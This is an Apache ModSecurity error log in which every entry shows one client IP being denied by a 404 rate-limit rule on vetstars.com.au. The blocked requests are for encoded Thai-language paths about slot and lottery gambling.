[Tue Jan 27 21:34:00.800047 2026] [:error] [pid 39017:tid 39064] [client 54.36.60.91:37672] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%97%E0%B8%B8%E0%B8%81%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2%202024.aspx"] [unique_id "aXi-yM553xt-F_10bG6rwwAAAxA"]
[Tue Jan 27 21:34:03.288851 2026] [:error] [pid 39017:tid 39051] [client 54.36.60.91:37682] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXi-y8553xt-F_10bG6ryAAAAwM"]
[Tue Jan 27 21:34:05.620536 2026] [:error] [pid 48528:tid 48544] [client 54.36.60.91:40740] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%8799.aspx"] [unique_id "aXi-zQOGRrquT9N7CZp6jwAAAg4"]
[Tue Jan 27 21:34:08.106624 2026] [:error] [pid 48446:tid 48482] [client 54.36.60.91:40742] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87pp.aspx"] [unique_id "aXi-0MDRSaZ8F8aaLxmmOQAAAcU"]
[Tue Jan 27 21:34:10.618780 2026] [:error] [pid 48412:tid 48433] [client 54.36.60.91:40756] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%A3%E0%B8%B9%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXi-0nbJMfAKlln88JEOzAAAAVM"]
[Tue Jan 27 21:34:12.948938 2026] [:error] [pid 7453:tid 7510] [client 54.36.60.91:40768] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXi-1BfsyA2ws_ADquiqlgAAAFU"]
[Tue Jan 27 21:34:15.438442 2026] [:error] [pid 39017:tid 39056] [client 54.36.60.91:35026] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXi-18553xt-F_10bG6rywAAAwg"]
[Tue Jan 27 21:34:17.930101 2026] [:error] [pid 48412:tid 48418] [client 54.36.60.91:35040] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXi-2XbJMfAKlln88JEO0AAAAUQ"]
[Tue Jan 27 21:34:20.565131 2026] [:error] [pid 38987:tid 38998] [client 54.36.60.91:35052] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet.aspx"] [unique_id "aXi-3KTH0bU76Ifu_Xc0DAAAAAg"]
[Tue Jan 27 21:34:23.200191 2026] [:error] [pid 38987:tid 39011] [client 54.36.60.91:35058] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXi-36TH0bU76Ifu_Xc0DwAAABU"]
[Tue Jan 27 21:34:25.692135 2026] [:error] [pid 7561:tid 7577] [client 54.36.60.91:39366] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B8%B3.aspx"] [unique_id "aXi-4bXGI6mgvHQqkXzg8wAAAM0"]
[Tue Jan 27 21:34:28.173283 2026] [:error] [pid 7453:tid 7494] [client 54.36.60.91:39368] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXi-5BfsyA2ws_ADquiqnwAAAEU"]
[Tue Jan 27 21:34:30.661450 2026] [:error] [pid 7561:tid 7574] [client 54.36.60.91:39376] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXi-5rXGI6mgvHQqkXzg-QAAAMo"]
[Tue Jan 27 21:34:33.287065 2026] [:error] [pid 39017:tid 39065] [client 54.36.60.91:39382] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95.aspx"] [unique_id "aXi-6c553xt-F_10bG6r0QAAAxE"]
[Tue Jan 27 21:34:35.914319 2026] [:error] [pid 39017:tid 39067] [client 54.36.60.91:36540] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXi-68553xt-F_10bG6r1AAAAxM"]
[Tue Jan 27 21:35:19.098341 2026] [:error] [pid 7454:tid 7538] [client 54.36.60.91:36544] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%20%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2%202024.aspx"] [unique_id "aXi_F5ltCoZEfMmfl8AjzwAAAJY"]
[Tue Jan 27 21:35:21.532241 2026] [:error] [pid 48412:tid 48417] [client 54.36.60.91:56956] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%20%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXi_GXbJMfAKlln88JEPGwAAAUM"]
[Tue Jan 27 21:35:24.051457 2026] [:error] [pid 48412:tid 48437] [client 54.36.60.91:33856] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%AD%E0%B8%B1%E0%B8%99%E0%B8%94%E0%B8%B1%E0%B8%9A%201.aspx"] [unique_id "aXi_HHbJMfAKlln88JEPHQAAAVc"]
[Tue Jan 27 21:35:26.638500 2026] [:error] [pid 48528:tid 48535] [client 54.36.60.91:33864] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B8%B3.aspx"] [unique_id "aXi_HgOGRrquT9N7CZp64gAAAgU"]
[Tue Jan 27 21:35:29.167259 2026] [:error] [pid 48412:tid 48433] [client 54.36.60.91:33868] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXi_IXbJMfAKlln88JEPJQAAAVM"]
[Tue Jan 27 21:35:31.685848 2026] [:error] [pid 7453:tid 7509] [client 54.36.60.91:33884] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20100.aspx"] [unique_id "aXi_IxfsyA2ws_ADquiqwQAAAFQ"]
[Tue Jan 27 21:35:34.196249 2026] [:error] [pid 39017:tid 39057] [client 54.36.60.91:59314] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20888.aspx"] [unique_id "aXi_Js553xt-F_10bG6r-wAAAwk"]
[Tue Jan 27 21:35:36.553259 2026] [:error] [pid 38987:tid 39011] [client 54.36.60.91:59318] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AB%E0%B8%A7%E0%B8%A2%2024.aspx"] [unique_id "aXi_KKTH0bU76Ifu_Xc0MwAAABU"]
[Tue Jan 27 21:35:39.062900 2026] [:error] [pid 48446:tid 48484] [client 54.36.60.91:59326] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B9%81%E0%B8%8A%E0%B8%A3%E0%B9%8C%202022%20%E0%B8%81%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXi_K8DRSaZ8F8aaLxmmgwAAAcc"]
[Tue Jan 27 21:35:41.574764 2026] [:error] [pid 7561:tid 7585] [client 54.36.60.91:59340] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXi_LbXGI6mgvHQqkXzhJwAAANU"]
[Tue Jan 27 21:35:44.090805 2026] [:error] [pid 48446:tid 48497] [client 54.36.60.91:53956] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet.aspx"] [unique_id "aXi_MMDRSaZ8F8aaLxmmhAAAAdM"]
[Tue Jan 27 21:35:46.600909 2026] [:error] [pid 48662:tid 48683] [client 54.36.60.91:53964] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%81%E0%B8%97%E0%B9%89.aspx"] [unique_id "aXi_MuD8iESUP9uRiRP4RQAAAo8"]
[Tue Jan 27 21:35:49.104820 2026] [:error] [pid 48412:tid 48416] [client 54.36.60.91:53966] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXi_NXbJMfAKlln88JEPMAAAAUI"]
[Tue Jan 27 21:35:51.598630 2026] [:error] [pid 7454:tid 7534] [client 54.36.60.91:53968] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AB%E0%B8%A7%E0%B8%A2%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C888.aspx"] [unique_id "aXi_N5ltCoZEfMmfl8Aj8AAAAJI"]
[Tue Jan 27 21:35:54.093074 2026] [:error] [pid 48412:tid 48438] [client 54.36.60.91:35568] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9B%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9B%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXi_OnbJMfAKlln88JEPNQAAAVg"]
[Tue Jan 27 21:35:56.589276 2026] [:error] [pid 39016:tid 39038] [client 54.36.60.91:35574] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9B%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXi_PPB6_y9crthwy8qyeAAAAtE"]
[Tue Jan 27 21:35:58.919998 2026] [:error] [pid 39017:tid 39064] [client 54.36.60.91:35590] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%81%E0%B8%88%E0%B8%81%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B9%81%E0%B8%8A%E0%B8%A3%E0%B9%8C%202020.aspx"] [unique_id "aXi_Ps553xt-F_10bG6sGQAAAxA"]
[Tue Jan 27 21:36:01.412812 2026] [:error] [pid 48446:tid 48487] [client 54.36.60.91:35596] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%82%E0%B8%84%E0%B9%89%E0%B8%94%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%E0%B8%A7%E0%B8%B1%E0%B8%99%E0%B8%99%E0%B8%B5%E0%B9%89.aspx"] [unique_id "aXi_QcDRSaZ8F8aaLxmmvAAAAco"]
[Tue Jan 27 21:36:03.898724 2026] [:error] [pid 38987:tid 39005] [client 54.36.60.91:49408] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%82%E0%B8%84%E0%B9%89%E0%B8%94%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXi_Q6TH0bU76Ifu_Xc0PgAAAA8"]
[Tue Jan 27 21:36:06.235128 2026] [:error] [pid 48412:tid 48434] [client 54.36.60.91:49414] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%205%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%2050%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%202566.aspx"] [unique_id "aXi_RnbJMfAKlln88JEPPgAAAVQ"]
